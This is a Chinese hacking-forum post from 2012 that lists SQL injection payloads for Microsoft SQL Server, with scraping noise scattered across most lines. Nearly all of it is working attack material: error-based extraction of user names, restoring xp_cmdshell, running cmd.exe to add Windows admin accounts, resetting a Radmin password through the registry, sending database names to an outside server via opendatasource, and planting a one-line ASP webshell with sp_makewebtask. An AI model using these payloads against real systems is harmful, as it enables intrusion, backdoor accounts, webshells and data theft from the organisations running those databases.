找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2201|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令; H% c5 S# c6 m! e! l5 x9 L
//看看是什么权限的7 u/ g2 g( X. i/ X8 L: W
and 1=(Select IS_MEMBER('db_owner'))
' o; i) v; F% H  h8 ~% d; J% iAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--: A/ Z+ c, ?- l
, B  E8 F: @  V6 W3 A
//检测是否有读取某数据库的权限  m5 k/ |2 h( Y0 I" `" }
and 1= (Select HAS_DBACCESS('master'))$ ~: h! {* C# P  c# p  I5 }# d( g
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --/ y, V, x9 o2 ]! S5 j0 h3 w

: }6 O& [/ v) o: k
$ H6 }7 c( a  G数字类型) _' U9 ?, e2 Y
and char(124)%2Buser%2Bchar(124)=0& y- J7 W: `0 b0 K. q

9 f% s. `' v3 ^( m; q$ k- {# t: ^字符类型' B. D3 w% ~/ {0 H0 R  S
' and char(124)%2Buser%2Bchar(124)=0 and ''='
! i' E* M% ^/ u: [. f% P% u+ l! D: |# y% z- ~
搜索类型7 c( ?1 k/ c/ R3 i
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
  u  G. @# J! e$ C3 [" U$ F" h) p; k( i+ {- X
爆用户名
$ ?* @" `2 _- ]. w2 g7 z3 q- Oand user>0
. W3 \% u, v- e: a' t' and user>0 and ''='
9 y2 Z3 u* O+ {9 ^+ `4 n
4 D7 S9 s) y. r1 J: ?/ f! R# U3 u, m检测是否为SA权限
8 \8 n& _* S4 rand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
8 g3 B9 @5 F* a, V; s. LAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --) U6 i* ~% E# G7 ~1 E

4 Q. g! H+ D: W* X) {6 s9 t+ P- A检测是不是MSSQL数据库
7 G$ A: K' K' b- p9 \' {' zand exists (select * from sysobjects);--
# t" l% E3 C( m) m9 k
  g% H, [( a  J: a4 x7 o检测是否支持多行
- c: }  e7 O' m4 A  S( ?;declare @d int;-- : L- w" {, P  i. h

- J, @( X  x- q; t恢复 xp_cmdshell
/ u3 b+ ~! D2 f4 [5 h% t2 N;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
. S+ H: Q- K" x2 a# ^  K: C& k& B9 X2 b* R) N

. ^' {: V# `7 ]+ w$ W4 m' h: yselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
/ _. L5 U# t5 Q" V- F1 R4 p% e
7 {& E+ ]/ ]0 y) I//-----------------------
4 y5 ]/ D. h/ I  S% [' B//      执行命令
2 H0 ?$ @+ f' u6 D5 I//-----------------------
$ G9 p$ ?  |  V0 Q首先开启沙盘模式:; ]6 T7 `# w" j
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1) D6 Y, j( j4 x/ K3 ]3 j& J
2 X, D' F1 E! i1 ]* Y6 |) S2 O, \
然后利用jet.oledb执行系统命令
/ W% H, E  `  x& Hselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'), P5 i5 V0 y$ q/ J  L! ~

( A7 `, e8 H' l2 z执行命令
0 w  _& c$ i5 Q: s;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--, p& E$ e5 q1 I$ p1 I" P

! |! [1 k6 Y% c' @/ u0 B* W" FEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
" [/ R: N6 m  O3 |: Z8 K
- g& f+ [7 O8 I; k6 [4 F判断xp_cmdshell扩展存储过程是否存在:) m; B2 C# e$ G2 w6 z/ g
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
3 \0 P1 \! I: ?& j6 B/ h" k7 d* x' M( M# `
写注册表
* V- F" f- G$ t, x$ x; nexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
8 c7 F2 r$ \% `4 {1 p3 p- ^3 q
$ U0 H  q: r5 w8 j! x; ZREG_SZ+ O/ X5 N! z2 b% x; E7 b+ s

* [1 C6 f5 S( V4 x, E  ]读注册表: L% }1 n  }2 P7 G% Y3 `: Q# H
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'  r4 h& I* V+ x- R; ]9 y  F
! Y; P! _3 T# {4 v
读取目录内容/ z8 E( E0 ^8 u0 r1 b
exec master..xp_dirtree 'c:\winnt\system32\',1,1
4 \# o( J3 G' D& F2 |9 ]/ }  q! U

( J2 }8 o/ W( j$ ]9 }% P" B数据库备份
( {7 U5 N, z1 x$ b1 l, D. Qbackup database pubs to disk = 'c:\123.bak'
8 U2 M+ O/ y6 m: Y' C* S; W/ s$ u* F( _! w. P
//爆出长度
- ]4 p" `6 o0 ^And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--+ Y' N7 l8 C& m7 _, x! y
2 V  a. c2 n$ @: T
7 ~. C! A; ~4 h% A( S
: n, k1 o, a1 v( V
更改sa口令方法:用sql综合利用工具连接后,执行命令:6 L  ~+ a8 j8 Q* B5 a* [
exec sp_password NULL,'新密码','sa'
9 M9 s# |1 j$ K: K  A. O( b: D) R1 b$ u# X. k
添加和删除一个SA权限的用户test:  V8 `/ D1 o9 f# n/ o
exec master.dbo.sp_addlogin test,ptlove
4 h7 G6 ?! p& G/ Bexec master.dbo.sp_addsrvrolemember test,sysadmin" ?3 h0 U' s, `

  `% k- l" C0 q8 w( @删除扩展存储过过程xp_cmdshell的语句: % g% W& D9 M7 \  j2 B+ H
exec sp_dropextendedproc 'xp_cmdshell'
( D% d, e$ W2 R
1 ~6 _0 N: t+ Q  v- g添加扩展存储过过程8 w7 [' z7 i6 J* R2 X
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
* s8 x9 E$ [. u- t% C$ fGRANT exec On xp_proxiedadata TO public 5 t) t& Z1 m/ C5 Y  D
! C; }3 J. e0 S8 W/ C5 i2 A1 u
2 t: c& [, r$ t; y* t( c' ~! ^
停掉或激活某个服务。
+ h* W7 S2 k2 q* I7 D. T- m: i/ _
exec master..xp_servicecontrol 'stop','schedule': F; ^6 n8 N1 A7 z
exec master..xp_servicecontrol 'start','schedule'
, T# M$ y4 D- c# O8 V# z/ I& J$ R" o
2 ]& L2 X0 e$ ]- vdbo.xp_subdirs0 j  A7 c5 M# V" z& y. O

* m; A3 P: Y* i4 k9 h  r; a只列某个目录下的子目录。
" h7 P% W) R* lxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp': a9 L8 b1 u5 S8 T3 x. J( i

8 {3 Q1 ^+ G$ }/ ~, ?dbo.xp_makecab
' u; W6 y5 C5 ~; k3 L3 y1 g& f1 c! r$ Z7 q
将目标多个档案压缩到某个目标档案之内。
' T. }7 J+ F2 z) ~- X$ }所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
, i, t6 W6 p; t" R, ~7 K  ]9 B. L6 {$ r: L# Z
dbo.xp_makecab3 ~# ^: k, D: N
'c:\test.cab','mszip',1,
% @" ~( m+ w' N# Y5 T: m- Y6 v'C:\Inetpub\wwwroot\SQLInject\login.asp',
6 [; U) ~! \6 q7 F0 a& F  s: T( s'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
0 y" I. t7 P4 I# E. t% f, z
8 @+ `# K% L& g+ s! o& z6 yxp_terminate_process
: \* W  N, h: z; m$ l- [* J. N) B2 V2 e7 Q: J
停掉某个执行中的程序,但赋予的参数是 Process ID。. f( u) S! \3 q# D4 Y9 p
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID9 Z# e2 O! ^+ j- g7 Y

) T( K  z$ G$ u& A" f) N/ t/ oxp_terminate_process 2484
7 Y' N8 m/ v# }( i5 Z  `
- B3 `  d% u) E% p: W; [) K1 ~xp_unpackcab$ S% h. ^. j2 N/ g9 a) ~, K6 V

% F$ @: Z; q, D解开压缩档。- ?! U% T1 c! |5 i/ J% l8 @3 c
! M) ]. F6 m5 E  d) y
xp_unpackcab 'c:\test.cab','c:\temp',1% h! ~+ z2 f6 P3 W! x0 g

; e' X, S( n6 ~" W, b0 X! M  @: k& x( O  _7 e/ H0 K/ f
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234" Z5 M4 n( n2 g, V% n+ g. G- l

" g5 V! @7 T# ^create database lcx;. E: t& d! b/ {- C
Create TABLE ku(name nvarchar(256) null);# ^! ?% y, A# |) r$ s
Create TABLE biao(id int NULL,name nvarchar(256) null);
4 V! g' s9 `5 W: g) V) u
7 V, `1 L, F/ n+ G9 N' G//得到数据库名
; S0 X9 F8 d; @' U$ V/ k, Dinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases: V: K/ {- ~$ N/ j7 _& `

! c9 h  c, A. |# E, e/ u1 L( C% K* c  \: c" h/ n1 Y
//在Master中创建表,看看权限怎样
; C& c( E1 B3 X$ D, |: b; ECreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--* X: Q  x7 h) r3 s
7 t% r6 {/ }* j5 D; u+ y/ u
用 sp_makewebtask直接在web目录里写入一句话马:  Y- ~9 a/ r' A; i9 I
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--% j9 D$ l6 e, W; _- T2 j9 d6 T
. f7 H2 W$ \& v& c
//更新表内容
  g) o* [$ @5 O" P# i! EUpdate films SET kind = 'Dramatic' Where id = 123% `$ F5 V8 i# k) k; \, J

! W" \' }' _0 [' y- Y//删除内容$ T% u, _8 g" i8 N5 B
delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表